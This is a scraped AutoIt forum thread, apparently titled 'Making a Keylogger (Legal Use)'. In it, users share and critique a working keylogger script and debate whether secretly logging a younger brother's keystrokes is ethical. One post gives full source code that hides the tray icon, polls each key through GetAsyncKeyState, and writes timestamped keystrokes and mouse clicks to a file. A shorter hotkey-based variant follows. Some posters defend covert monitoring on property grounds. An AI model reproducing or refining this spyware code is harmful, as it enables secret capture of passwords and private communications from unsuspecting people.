Jump to content

Recommended Posts

Posted

Best way is to create a script using _IsPressed as mentioned earlier in the thread. You can get any key with it.

How do you say, you can use all keys more than 64?Thanks


            
        

        

        
            

    
        

        
            
Autoit.es - Foro Autoit en EspaƱol Word visitors Image Clustrmap image:   - Football Spanish team - Spanish team: Casillas, Iniesta, Villa, Xavi, Puyol, Campdevilla, etc..Programando en Autoit+Html - Coding Autoit-Html - Arranca programas desde Internet - Preprocesador de Autoit a http

        
    

        
    

    
    

    

                    
                    
                        
                            


     (adsbygoogle = window.adsbygoogle || []).push({});

                        
                    
                    
                        









    
        
            
                Replies
                66
            
            
                Created
                20 yr
            
            
                Last Reply 
                18 yr
            
        
        
    
    
        
            
                
                    
                        Top Posters In This Topic
                        
                            
                                
                                    


    
        
    

                                    10
                                
                            
                                
                                    


    
        
    

                                    7
                                
                            
                                
                                    


    
        
    

                                    6
                                
                            
                                
                                    


    
        
    

                                    5
                                
                            
                        
                    
                
                
            
        
    
    
    
        
            
                Top Posters In This Topic
                
                    
                        
                            


    
        
    

                            
                                para
                                10 posts
                            
                        
                    
                        
                            


    
        
    

                            
                                layer
                                7 posts
                            
                        
                    
                        
                            


    
        
    

                            
                                Wolvereness
                                6 posts
                            
                        
                    
                        
                            


    
        
    

                            
                                BasicOs
                                5 posts
                            
                        
                    
                
            
        
        
        
        
    
    
        
    
    





                    
                

                    

                    
                    






    

    

    
        
            
                


    
        
    

                
                
                    
                        

                    
                
            
        
        
            
                


upnorth
            
            
                Posted 
                
            
        
    
    
        


upnorth
            
        
        
            
                
                    


    
        
    

                    
                    
                        

                    
                
            
            
                Active Members
                
            
            
                
                    
                        
                            
                                
                            
                                 107
                            
                                
                            
                        
                        
                    
                
            
            
                

            
        
    
    
        



    
        
            
                
                    
                    
                    
                    
                    
                
            
            
                
                    
                    
                        
                        
                        
                        
                        
                        
                            
                                
                            
                            
                            
                            
                            
                            
                        
                    
                
                
            
        

        
           
           Posted 
           
            
            
                
                
            
        
    

    

    

    
        
        
            Func _IsPressed($hexKey)
; $hexKey must be the value of one of the keys.
; _IsPressed will return 0 if the key is not pressed, 1 if it is.

Local $aR = DllCall("user32", "int", "GetAsyncKeyState", "int",  '0x' & $hexKey)
If $aR[0] <> 0 Then
    Return 1
Else
    Return 0
EndIf
EndFunc;==>_IsPressed

Posted

ok, since yall are having quite a troubles...

Opt ("TrayIconHide", 1)
HotKeySet ("^!e", "MyExit")

Func _IsPressed($hexKey)

  
  Local $aR, $bRv
  $hexKey = '0x' & $hexKey
  $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)
 
  If $aR[0] <> 0 Then
     $bRv = 1
  Else
     $bRv = 0
  EndIf
  
  Return $bRv
EndFunc  

$file = FileOpen("keylog.txt", 1)
If $file = -1 Then
   Exit
EndIf

While 1

  If _IsPressed(41) Then
     _LogKeyPress("a")
EndIf


  If _IsPressed(42) Then
     _LogKeyPress("b")
EndIf


  If _IsPressed(43) Then
     _LogKeyPress("c")
EndIf


  If _IsPressed(44) Then
     _LogKeyPress("d")
EndIf

 
  If _IsPressed(45) Then
     _LogKeyPress("e")
EndIf

 
  If _IsPressed(46) Then
     _LogKeyPress("f")
EndIf


  If _IsPressed(47) Then
     _LogKeyPress("g")
EndIf


  If _IsPressed(48) Then
     _LogKeyPress("h")
EndIf


  If _IsPressed(49) Then
     _LogKeyPress("i")
EndIf

 
  If _IsPressed('4a') Then
     _LogKeyPress("j")
EndIf


  If _IsPressed('4b') Then
     _LogKeyPress("k")
EndIf


  If _IsPressed('4c') Then
     _LogKeyPress("l")
EndIf

 
  If _IsPressed('4d') Then
     _LogKeyPress("m")
EndIf


  If _IsPressed('4e') = 1 Then 
     _LogKeyPress("n")
EndIf


  If _IsPressed('4f') Then
     _LogKeyPress("o")
EndIf


  If _IsPressed(50) Then
     _LogKeyPress("p")
EndIf


  If _IsPressed(51) Then
     _LogKeyPress("q")
EndIf


  If _IsPressed(52) Then
     _LogKeyPress("r")
EndIf

 
  If _IsPressed(53) Then
     _LogKeyPress("s")
EndIf


  If _IsPressed(54) Then
     _LogKeyPress("t")
EndIf


  If _IsPressed(55) Then
     _LogKeyPress("u")
EndIf


  If _IsPressed(56) Then
     _LogKeyPress("v")
EndIf


  If _IsPressed(57) Then
     _LogKeyPress("w")
EndIf


  If _IsPressed(58) Then
     _LogKeyPress("x")
EndIf


  If _IsPressed(59) Then
     _LogKeyPress("y")
EndIf

   If _IsPressed('5a') Then
     _LogKeyPress("z")
EndIf
 

If _IsPressed('01') Then
     _LogKeyPress("LEFT MOUSE")
EndIf

  If _IsPressed('02') Then
     _LogKeyPress("RIGHT MOUSE")
  EndIf
  
  
    If _IsPressed('08') Then
     _LogKeyPress("BACKSPACE")
  EndIf
  
  
    If _IsPressed('09') Then
     _LogKeyPress("TAB")
  EndIf
  
  
    If _IsPressed('0d') Then
     _LogKeyPress("ENTER")
  EndIf
  
  
    If _IsPressed('10') Then
     _LogKeyPress("SHIFT")
  EndIf
  
  
      If _IsPressed('11') Then
     _LogKeyPress("CTRL")
  EndIf
  
  
      If _IsPressed('12') Then
     _LogKeyPress("ALT")
EndIf


    If _IsPressed('13') Then
     _LogKeyPress("PAUSE")
  EndIf   


   If _IsPressed('14') Then
     _LogKeyPress("CAPSLOCK")
EndIf


    If _IsPressed('1b') Then
     _LogKeyPress("ESC")
EndIf


    If _IsPressed('20') Then
     _LogKeyPress("SPACE")
  EndIf
  
  
      If _IsPressed('21') Then
     _LogKeyPress("PGUP")
  EndIf
  
  
      If _IsPressed('22') Then
     _LogKeyPress("PGDOWN")
  EndIf
  
  
      If _IsPressed('23') Then
     _LogKeyPress("END")
  EndIf
  
  
      If _IsPressed('24') Then
     _LogKeyPress("HOME")
  EndIf
  
  
      If _IsPressed('25') Then
     _LogKeyPress("LEFT ARROW")
  EndIf
  
  
      If _IsPressed('26') Then
     _LogKeyPress("UP ARROW")
  EndIf
  
  
      If _IsPressed('27') Then
     _LogKeyPress("RIGHT ARROW")
  EndIf
  
  
      If _IsPressed('28') Then
     _LogKeyPress("DOWN ARROW")
  EndIf
  
  
      If _IsPressed('2c') Then
     _LogKeyPress("PRNTSCRN")
  EndIf
  
  
      If _IsPressed('2d') Then
     _LogKeyPress("INSERT")
  EndIf
  
  
      If _IsPressed('2e') Then
     _LogKeyPress("DEL")
EndIf

    If _IsPressed('30') Then
     _LogKeyPress("0")
  EndIf
  
  
      If _IsPressed('31') Then
     _LogKeyPress("1")
  EndIf
  
  
      If _IsPressed('32') Then
     _LogKeyPress("2")
  EndIf
  
  
      If _IsPressed('33') Then
     _LogKeyPress("3")
  EndIf
  
  
      If _IsPressed('34') Then
     _LogKeyPress("4")
  EndIf
  
  
      If _IsPressed('35') Then
     _LogKeyPress("5")
  EndIf
  
  
      If _IsPressed('36') Then
     _LogKeyPress("6")
  EndIf
  
  
      If _IsPressed('37') Then
     _LogKeyPress("7")
  EndIf
  
  
      If _IsPressed('38') Then
     _LogKeyPress("8")
EndIf


    If _IsPressed('39') Then
     _LogKeyPress("9")
EndIf

WEnd

  Sleep(50)
Func _LogKeyPress($what2log)
  FileWriteLine($file, "[ " &@MDAY & ". " &@MON & ". "  &@YEAR & "  " &@HOUR & ":" &@MIN & ":" &@SEC & " ]   " & "Pressed Button: " & $what2log)
sleep ("100")
EndFunc

FileClose($file)

Func MyExit ()
   Exit
EndFunc

you can change the directory of where to put the keylog if youd like, which is a good idea, just adjust the FileOpen () in the beggining of the script

(much thanks to ezzetabi for the _IsPressed function of course :lmao:)

although as i explained earlier, i havent ever put this to bad use, it has actually been put to good use

FootbaG
Posted

well if you want to keylog secretly sometimes without he ever knows, it may be allright if you feel you should.

think about this:

is it morally right that you break his privacy? In fact, even privacyĀ  isĀ  protected by law. If you read what he speaks with his girfriend or friends or what ever without he allowing you. Even the porn pages. I mean that you show him he could do it with other people without feeling bad because he learnt of you.

He could have future problems with his wife, when he makes what he learnt.

IANAL, but IMO:

There is no moral issue.

Is it morally right for your place of employment to use this same type of technology (keyloggers, timeloggers, screen captures, etc) to ensure that their resources are being used timely, efficiently and correctly? Since the company owns these computers, there is no moral issue. There is no personal privacy on a computer system and/or network not owned by the individual in question that's seeking a privacy complaint.

Is it morally right for American high schools to do unnanounced locker searches? Again, it boils down to basic property law. The locker is school property. Same idea as to the computer/network use applies to high school lockers.

The answer never lied in moral grounds. It's a basic property issue.

The laptop belongs to para and he is lending the computer to his 12 year old brother for AUTHORIZED PURPOSES ONLY. It's up to para to decide what use is considered AUTHORIZED and it is also up to para to enforce the AUTHORIZED USE clause of this contract by any means necessary. :lmao:

I have no problem with a keylogger/screenlogger/timelogger being implemented in this case.

Lofting the cyberwinds on teknoleather wings, I am...The Blue Drache

Posted

School lockers and para's computer are both used for personal use.

Everyone knows that.

Privacy laws are respected here in The Netherlands.

The problem is that these things could be used with the wrong intention (storing drugs, checking/watching p0rn sites)

Posted (edited)

#Layer - Your script is using 100% cpu time..

<{POST_SNAPBACK}>

Plus it is a primative one, meaning if you hold down the key for too long (lets say .4 seconds) it would write it in the file many times (because it just checks if it's being held down)

With the removed hotkey restrictions you could make one that just does

HotkeySet("a", "a")

Func a()
   Send("a")
   FileWriteLine("a")
EndFunc

And use something else to log websites :lmao:

Edited by killaz219
Posted

I understand what you mean, but I prefer, if I can, stay away of the border(limit) of Moral about keylogging. I mean you'd be cautious.

Do you think, really, that, there is absolutely no problem to SPY (that is the right word SPY), and by example, YOUR email and private talks could be logged for some reason, even in a lend PC.

Well I dont know If you heard there were much talks about it, in the last years in the USA, USA president wanted to make everything tighter for logging you. everything, of course with some good reasons.... well even they didnt agree. Because there is a border for it (limits). I dont know how it went at the end. :)

As you realize loggers should not to be used ussually for some good reasons. :lmao: .

IANAL, but IMO:

There is no moral issue.Ā 

Is it morally right for your place of employment to use this same type of technology (keyloggers, timeloggers, screen captures, etc) to ensure that their resources are being used timely, efficiently and correctly?Ā  Since the company owns these computers, there is no moral issue.Ā  There is no personal privacy on a computer system and/or network not owned by the individual in question that's seeking a privacy complaint.

Is it morally right for American high schools to do unnanounced locker searches?Ā  Again, it boils down to basic property law.Ā  The locker is school property.Ā  Same idea as to the computer/network use applies to high school lockers.

The answer never lied in moral grounds.Ā  It's a basic property issue.Ā 

The laptop belongs to para and he is lending the computer to his 12 year old brother for AUTHORIZED PURPOSES ONLY.Ā  It's up to para to decide what use is considered AUTHORIZED and it is also up to para to enforce the AUTHORIZED USE clause of this contract by any means necessary.Ā  o:)

I have no problem with a keylogger/screenlogger/timelogger being implemented in this case.

<{POST_SNAPBACK}>

Autoit.es - Foro Autoit en EspaƱol Word visitors Image Clustrmap image: - Football Spanish team - Spanish team: Casillas, Iniesta, Villa, Xavi, Puyol, Campdevilla, etc..Programando en Autoit+Html - Coding Autoit-Html - Arranca programas desde Internet - Preprocesador de Autoit a http
Posted

Layer, your script consumes 100% computer and logs it very largely, 1 key per 1 line...

THanks for everyones help!

Posted

@ layer :

Just some tips... Instead of using for example :

If _IsPressed(41) Then
     _LogKeyPress("a")
EndIf

You could use :

If _IsPressed(41) Then _LogKeyPress("a")

Also you should a tiny Sleep in the While/Wend-loop to

prevent the massive CPU-usage..

Posted

Basic. I believe you are talking about the patriot act. If you would like to discuss that, open up a thread about it in Chat.

This general talk is not needed.

Not to be rude, and I do appriciate the help, but I didn't ask if you thought it was moraly right.(no pun intended)

Thanks alot for all your help, unless someone can suggest a way to make it show it in the format I provided, I think i'll take it from here, cya

Posted (edited)

Basic. I believe you are talking about the patriot act. If you would like to discuss that, open up a thread about it in Chat.

This general talk is not needed.

Not to be rude, and I do appriciate the help, but I didn't ask if you thought it was moraly right.(no pun intended)

Thanks alot for all your help, unless someone can suggest a way to make it show it in the format I provided, I think i'll take it from here, cya

<{POST_SNAPBACK}>

:lmao: Lƶl Yea o:):):):):whistle: Edited by DirtyBanditos
Posted

You did: Making a Keylogger (Legal Use)

THE REASON WHY I DONT WANT HIM LOOKING UP PORNOGRAPHY! :

forget about patriotic act, I only saw in the news.

and almost everyone did the same here,

also, I was directly pointed this time, I was answering.

Of course, you are not the only one allowed to talk about Morality :lmao: and tell the other to shut up.

Not to be rude

Anyway you found couple of scripts working which were send right here, based some on Larry dllcall post, which is found in this forum. I told you also, about this dllcall.

If you had got your script this post is closed for me.

Enjoy scripting....

Basic. I believe you are talking about the patriot act. If you would like to discuss that, open up a thread about it in Chat.

This general talk is not needed.

Not to be rude, and I do appriciate the help, but I didn't ask if you thought it was moraly right.(no pun intended)

Thanks alot for all your help, unless someone can suggest a way to make it show it in the format I provided, I think i'll take it from here, cya

<{POST_SNAPBACK}>

Autoit.es - Foro Autoit en EspaƱol Word visitors Image Clustrmap image: - Football Spanish team - Spanish team: Casillas, Iniesta, Villa, Xavi, Puyol, Campdevilla, etc..Programando en Autoit+Html - Coding Autoit-Html - Arranca programas desde Internet - Preprocesador de Autoit a http
Posted (edited)

? that was when i was a noob and ezzetabi made the _IsPressed Func and then someone showed me one letter on how to do the If _IsPressed (01) then $filewritefunc and then basically, someone "started" me off, and if i must get the exeact post i will, because i don't "steal" code... wow =0

EDIT: and to everyone who said it was 100 % CPU usage time, i know, i was a noob when i "put" together that script :"> and i only found out about what CPU usage when Valik told me my script was hogging his CPU :lmao:

Edited by layer
FootbaG
Posted

If you know you wrote it, thats all that needs to be thought/said. You don't need to prove yourself to everyone who challenges you. :lmao: Good job if you were a newb that is.

Posted

An extremely better way in my opinion:

Make a script to back up the internet files every ~ 5 minutes...

Every time you leave your computer use _StringEncrypt() for passwording and have a folder you define as the backup.

<{POST_SNAPBACK}>

What is so wrong with this idea? :lmao:

Offering any help to anyone (to my capabilities of course)Want to say thanks? Click here! [quote name='Albert Einstein']Only two things are infinite, the universe and human stupidity, and I'm not sure about the former.[/quote][quote name='Wolvereness' date='7:35PM Central, Jan 11, 2005']I'm NEVER wrong, I call it something else[/quote]

Posted

actually, id say that idea is better then anyone else's keylogger or whatever, i was just showing people my ideas :lmao: but your way is most definatley better o:):)

FootbaG
Posted

Since when were hotkey restrictions removed?

My site for HTML Help :)[quote name='Valik' date='Oct 15 2004, 12:29 PM']Maybe nobody is an "elite uber-coder" like me because thinking is a capital offense in today's online-world?[right][snapback]36427[/snapback][/right][/quote]
Guest
This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...